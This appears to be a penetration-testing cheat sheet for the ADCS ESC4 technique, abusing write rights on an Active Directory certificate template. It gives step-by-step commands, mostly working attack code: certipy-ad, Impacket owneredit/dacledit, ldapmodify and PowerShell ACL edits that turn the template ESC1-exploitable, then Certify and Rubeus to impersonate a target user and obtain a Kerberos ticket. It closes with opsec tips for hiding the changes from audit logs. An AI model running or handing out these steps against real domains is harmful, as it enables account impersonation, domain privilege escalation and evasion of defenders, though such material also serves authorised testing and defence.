ADCSESC4
ESC4: Write permissions on a certificate template β modify template attributes (EKU, SAN flag, approval requirements) to create ESC1-exploitable conditions, then enroll.
Applies to: Principals with WriteProperty/WriteDacl/WriteOwner/GenericAll/GenericWrite on a CertTemplate object β Enterprise CA
Linux Abuse
certipy-ad (fastest path β auto-modify to ESC1)
# Step 1: Find writable templates
certipy-ad find -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> -vulnerable -stdout
# Step 2: Save original config and overwrite template to ESC1-abusable state
certipy-ad template -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-template '<template>' -save-old
# Creates <template>.json with original config
# Step 3: Request cert with arbitrary UPN (now ESC1)
certipy-ad req -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-ca '<ca>' -target <ca-host> -template '<template>' \
-upn <target-user>@<domain>
# Step 4: Authenticate
certipy-ad auth -pfx <target-user>.pfx -dc-ip <dc-ip>
# Step 5: Restore original template config (CRITICAL β cleanup)
certipy-ad template -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-template '<template>' -configuration <template>.json
Manual via Impacket (if WriteOwner/WriteDacl only)
# If WriteOwner: take ownership first
owneredit.py -action write -new-owner '<username>' \
-target-dn 'CN=<template>,CN=Certificate Templates,CN=Public Key Services,CN=Services,<config-nc>' \
'<domain>/<username>:<password>'
# Grant FullControl to self
dacledit.py -action write -rights FullControl -principal '<username>' \
-target-dn 'CN=<template>,CN=Certificate Templates,CN=Public Key Services,CN=Services,<config-nc>' \
'<domain>/<username>:<password>'
# Enable CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (SAN flag = 1)
echo -e "dn: CN=<template>,CN=Certificate Templates,CN=Public Key Services,CN=Services,<config-nc>\nchangetype: modify\nreplace: msPKI-Certificate-Name-Flag\nmsPKI-Certificate-Name-Flag: 1" \
| ldapmodify -x -D '<attacker-dn>' -w '<password>' -h <dc-ip>
# Set Client Authentication EKU
echo -e "dn: CN=<template>,...\nchangetype: modify\nreplace: msPKI-Certificate-Application-Policy\nmsPKI-Certificate-Application-Policy: 1.3.6.1.5.5.7.3.2" \
| ldapmodify -x -D '<attacker-dn>' -w '<password>' -h <dc-ip>
# Disable manager approval (Enrollment-Flag = 0)
echo -e "dn: CN=<template>,...\nchangetype: modify\nreplace: msPKI-Enrollment-Flag\nmsPKI-Enrollment-Flag: 0" \
| ldapmodify -x -D '<attacker-dn>' -w '<password>' -h <dc-ip>
# Disable RA signature requirement
echo -e "dn: CN=<template>,...\nchangetype: modify\nreplace: msPKI-RA-Signature\nmsPKI-RA-Signature: 0" \
| ldapmodify -x -D '<attacker-dn>' -w '<password>' -h <dc-ip>
# Now proceed as ESC1
certipy-ad req -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
-ca '<ca>' -target <ca-host> -template '<template>' \
-upn <target-user>@<domain>
certipy-ad auth -pfx <target-user>.pfx -dc-ip <dc-ip>
Windows Abuse
PowerShell + Certify.exe + Rubeus
# Step 1: Take ownership (if WriteOwner)
$templateName = "<template>"
$principalName = "<username>"
$rootDSE = New-Object DirectoryServices.DirectoryEntry("LDAP://RootDSE")
$template = [ADSI]"LDAP://CN=$templateName,CN=Certificate Templates,CN=Public Key Services,CN=Services,$($rootDSE.configurationNamingContext)"
$acl = $template.psbase.ObjectSecurity
$account = New-Object System.Security.Principal.NTAccount($principalName)
$acl.SetOwner($account)
$template.psbase.CommitChanges()
# Step 2: Grant GenericAll to self
$sid = $account.Translate([System.Security.Principal.SecurityIdentifier])
$ace = New-Object DirectoryServices.ActiveDirectoryAccessRule(
$sid,
[System.DirectoryServices.ActiveDirectoryRights]::GenericAll,
[System.Security.AccessControl.AccessControlType]::Allow
)
$acl.AddAccessRule($ace)
$template.psbase.CommitChanges()
# Step 3: Enable SAN flag (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)
$template.Properties["msPKI-Certificate-Name-Flag"].Value = `
$template.Properties["msPKI-Certificate-Name-Flag"].Value -bxor 0x00000001
$template.CommitChanges()
# Step 4: Disable manager approval
$template.Properties["msPKI-Enrollment-Flag"].Value = `
$template.Properties["msPKI-Enrollment-Flag"].Value -band (-bnot 0x00000002)
$template.CommitChanges()
# Step 5: Enroll with SAN (ESC1 path)
Certify.exe request /ca:<ca-host>\<ca> /template:<template> /upn:<target-user>@<domain>
# Step 6: TGT
Rubeus.exe asktgt /user:<target-user> /domain:<domain> /certificate:<pfx-base64> /password:<pfx-password> /ptt
# Step 7: Cleanup β restore original flags
$template.Properties["msPKI-Certificate-Name-Flag"].Value = <original-value>
$template.CommitChanges()
Opsec
- Template modifications are logged in AD (Directory Service Changes audit) β restore original config immediately after exploitation.
certipy-ad template -save-oldis the safest approach for automated restore.- Issued certs remain in CA's store even after template is restored.